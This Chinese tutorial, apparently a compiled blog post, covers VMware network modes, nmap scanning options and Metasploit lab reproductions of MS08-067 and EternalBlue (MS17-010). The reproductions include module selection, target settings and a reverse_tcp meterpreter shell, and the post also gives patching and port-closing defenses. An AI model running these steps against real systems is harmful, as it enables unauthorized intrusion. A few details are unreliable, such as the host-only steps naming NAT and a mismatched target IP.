VM虚拟机-三种网络连接方式(桥接、NAT、仅主机模式)
虚拟机网络连接
一、Bridged(桥接)
二、NAT(网络地址转换)
三、Host-Only(仅主机)
在vmware软件中,选项栏的“编辑”下的“虚拟网络编辑器”中可以看到三个虚拟网卡VMnet0、VMnet1、VMnet8,而我们的虚拟机就是通过这三个虚拟网卡,实现的三种不同的网络连接,让我们的虚拟机达到连接的目的
三个虚拟网卡分别对应三个网络连接方式以及特点
桥接模式
简单说,就是把你的虚拟机当成一台实体电脑,接入你的本地网络。
和母机在同一个网段上。容易造成ip冲突。
NAT模式
网络地址转换模式,虚拟机将主机作为网络代理,来连接网络。是最常用的方式。
会生成一个虚拟网卡(一般安装好VMware的时候就有了),来代理所有的虚拟机。
可以和母机不在同一网段。
仅主机模式
这种配置下,虚拟机仅母机可见,不能连接internet。
在vmware workstation中如何配置网络连接方式
一、桥接
打开电脑上的网络适配器
可以看到此电脑的无线网卡为Intel PRO/1000 MT
在vmware上打开“虚拟网络编辑器”,选择桥接模式,将vmnet桥接到上面
然后选择虚拟机,打开虚拟机配置,网络适配器,选择桥接模式,重新开机即可
二、NAT
如果创建虚拟机时没有特意选择另两个模式,则虚拟机默认为nat方式联网
选择虚拟机,打开虚拟机配置,网络适配器,选择NAT模式,重新开机即可
三、仅主机
选择虚拟机,打开虚拟机配置,网络适配器,选择NAT模式,重新开机即可
nmap
Nmap 是Network Mapper,中文为“网络映射器”。
Nmap 是一款开源的网络探测和安全审核的工具,它的设计目标是快速地扫描大型网络,是网络管理员必用的软件之一,
以及用以评估网络系统保安。
Nmap 脚本引擎(NSE)是Nmap最强大,最灵活的功能之一。
它允许用户编写(和共享)简单的脚本(使用Lua编程语言) )自动化各种网络任务。
用户可以依赖分布在Nmap上的不断增长的各种脚本,或者编写自己的脚本来满足自定义需求
Nmap有四种基本功能:「端口扫描」、「主机探测」、「服务识别」和「系统识别」。
一、端口扫描
扫描主机的「开放端口」,在nmap后面直接跟主机IP(默认扫描1000个端口)
nmap 192.168.88.137
扫描「指定端口」,使用 -p
参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口
nmap 192.168.88.137 -p 80
nmap 192.168.88.137 -p 1-80
nmap 192.168.88.137 -p 80,3389,22,21
nmap 192.168.88.137 -p 1-65535
nmap 192.168.88.137 -p- # -p- 等价于 -p 1-65535
使用 -sT
参数进行TCP全连接扫描。
「全连接扫描」使用完整的三次握手建立链接,能够建立链接就判定端口开放,否则判定端口关闭。
nmap 192.168.88.137 -p 80 -sT
使用 -sS
参数进行SYN半链接扫描。
「半链接扫描」只进行两次握手,对方返回确认帧(ACK=1)就判定端口开放,否则判定端口关闭。
nmap 192.168.88.137 -p 80 -sS
-sU udp扫描端口
nmap -sU 192.168.88.137
-sA ack扫描 这项高级的扫描方法通常用来穿过防火墙的规则集
nmap -sA 192.168.88.137
根据端口的常见性进行扫描
nmap --top-ports 10
nmap --top-ports 10 192.168.88.137
根据端口的出现的概率(0-1)进行扫描
nmap --port-ratio 0 (ip地址)
–port-ratio 后跟概率(0-1)
nmap --port-ratio 0 192.168.88.137
隐秘扫描,只适用于Linux系统。
「隐秘扫描」向目标主机的端口发送TCP FIN包 或 Xmas tree包 或 Null包,如果收到RST响应包,就判定端口关闭,否则就判定端口开放或被屏蔽(open/filtered)
nmap 127.0.0.1 -p 80 -sF # Fin扫描
nmap 127.0.0.1 -p 80 -sN # Null扫描(所有flags都为0的TCP包)
nmap 127.0.0.1 -p 80 -sX # Xmas扫描(flags的FIN、URG、PUSH都为1的包)
二、主机探测
扫描网段中有哪些主机在线,使用 -sP
参数,不扫描端口,只扫描「存活主机」。
本质上是Ping扫描,能Ping通有回包,就判定主机在线。
nmap -sP 192.168.88.0/24
-Pn: 不对目标进行ping探测(不判断主机是否在线)(直接扫描端口)
nmap -Pn 192.168.88.137
三、服务识别
扫描端口时,默认显示端口对应的服务,但不显示服务版本。
想要识别具体的「服务版本」,可以使用 -sV
参数。
扫描结果中,VERSION字段显示服务的详细版本。
nmap 192.168.88.137 -p 80 -sV
四、系统识别
想要识别「操作系统版本」,可以使用 -O
参数。
nmap 192.168.88.137 -p 80 -O
-O --osscan-guess 猜测目标操作系统版本
nmap -O --osscan-guess 192.168.88.137
五、扫描结果导出
Nmap的扫描结果可以保存到文件中,比如文本格式、XML格式。
1)将扫描结果导出为「文本格式」,结果原样保存。
nmap 192.168.88.137 -p 80 -oN result.txt
2)将扫描结果导出为「xml格式」,结果的保存格式会发生变化。
nmap 192.168.88.137 -p 80 -oX result.xml
组合命令:
T4 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,
在网络通讯状况较好的情况下推荐使用T4
-F 扫描常用的100个端口
-P0 无ping;-sP ping 扫描
nmap -T4 -F -P0 +IP
–sV:版本探测
-Pn:进制ping后扫描:跳过主机发现的过程进行端口扫描
-sC 表示使用nmap脚本探测
nmap -sC -sV -Pn +IP
侵略性探测 ,可获得操作系统的信息 (t4加快速度)
初始化脚本,探测端口,回车可查看进度
nmap -A -v -T4 +IP
msfconsole
msfconsole简称msf,是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机。
msf 控制台参数运用:
banner 这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
use 这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
Search 当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。
show 如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。
ms08-067漏洞
一.漏洞描述
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:
Windows 2000
Windows XP
Windows Server 2003
二、漏洞原理
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。
所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
**/*/./** => **\*\**
**\*\..\** => **\**
在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。
缓冲区溢出攻击定义:向固定长度的缓冲区写入超出预先分配长度的内容,造成数据的一处,覆盖相邻存储单元,通过精心构造填充数据,导致目标程序运行失败且系统奔溃,或执行有序指令,获得目标主机的控制权(远程任意代码执行)
三、重要的445端口
“135、137、138、139和445端口”这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。
本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!
总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。
四、漏洞的复现
靶机 | Windows XP | IP地址:192.168.244.133 |
攻击机 | Kali | IP地址:192.168.244.138 |
先看自己的ip地址
扫描看看一个网段下其他主机存活的状态,发现目标主机。一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。
终端内输入msfconsole打开metasploite命令行客户端,它有1722个攻击模块,和507个攻击载荷即恶意代码。我们使用攻击模块造成缓冲区溢出,让靶机执行恶意代码。
使用search命令查找ms08-067的漏洞利用模块。
使用use命令选择我们要使用的利用模块
target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。
Payload很多,我们使用payload windows/meterpreter/reverse_tcp这个恶意代码,它是让靶机通过tcp向本机进行shell连接,然后本机可以直接控制靶机
设置攻击机、受害机信息
运行exploit或者run反弹shell,此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.88.137”。
之后就进入后渗透阶段,可以Shell进入命令行,就可以做一些事情,比如开启3389远程桌面端口,创建用户可以直接登录等等。
五、漏洞的防御
一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用正则去匹配。
ms17-010漏洞
一、漏洞描述
操作系统漏洞,会马上想到永恒之蓝(MS17-010)漏洞,他的爆发源于WannaCry勒索病毒的诞生。
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
二、漏洞原理
SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。
永恒之蓝则通过TCP端口(445)和(139)端口来利用SMB v1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、获取最高权限、虚拟货币挖矿机等恶意序。
三、漏洞的复现
靶机 | windows 7 | IP地址:192.168.52.134 |
攻击机 | Kali | IP地址:192.168.52.129 |
用nmap扫描本网段下存活的主机
发现192.168.52.134,并且端口445目前是开启状态
使用kali自带的MSF的永恒之蓝漏洞模块,先对靶机进行扫描
打开MSF:msfconsole
搜索永恒之蓝ms17-010代码:search ms17_010
auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块 exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块
我们先对漏洞是否存在进行扫描
1.使用模块use exploit/windows/smb/ms17_010_eternalblue
2.设置靶机ip set rhosts 192.168.52.134
3.设置靶机端口 set rport 445(默认就是445)
4.输入show options查看配置
输入run开始操作
发现扫描结果信息(注:出现“+”号是存在的,“-”号是不存在,可能开启了防火墙或者已有补丁)
然后我们就可以利用漏洞,对靶机进行攻击
1.使用模块use exploit/windows/smb/ms17_010_eternalblue
2.设置靶机IP set rhosts 192.168.52.134
3.输入show options查看配置
输入run开始攻击,出现win就成功了,拿到shell接下来我们就可以进行其他操作了
四、漏洞的防御
1、安装杀毒软件及系统补丁。针对“永恒之蓝”勒索病毒,微软发布了专门的修复补丁 “MS17-010”, 用以修复被 “ Eternal Blue” 攻击的系统漏洞,用户可以自行下载对应的操作系统版本的补丁进行安装,记得把补丁下载回本地,重要资料所在电脑采用断网打补丁形式;
2、关闭tcp_445端口和网络共享。以win7系统为例,关闭方法如下:
(1)运行 regedit 打开注册表
(2)进入HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters“,进入 NetBT 服务注册表项。
(3)在右边空白处右击新建“QWORD(64 位)值”,然后重命名为“SMBDeviceEnabled”,再把这个子键的值改为 0。
(4) 设置service。win+R打开运行界面,输入 services.msc,进入服务管理控制台。找到 server 服务,双击进入管理控制页面。将该服务启动类型更改为“禁用”,服务状态更改为“停止”,点击应用。
参考文章:
Nmap使用方法及常用命令学习_nmap -o_YANG公子的博客-CSDN博客
vmware虚拟机的三种网络连接方式_vmware虚拟机网络连接方式_小天天666的博客-CSDN博客
渗透- 基于metasploit的内网渗透 - ms08-067漏洞利用及其原理分析_ms08067漏洞原理_)嘻嘻嘻xcs的博客-CSDN博客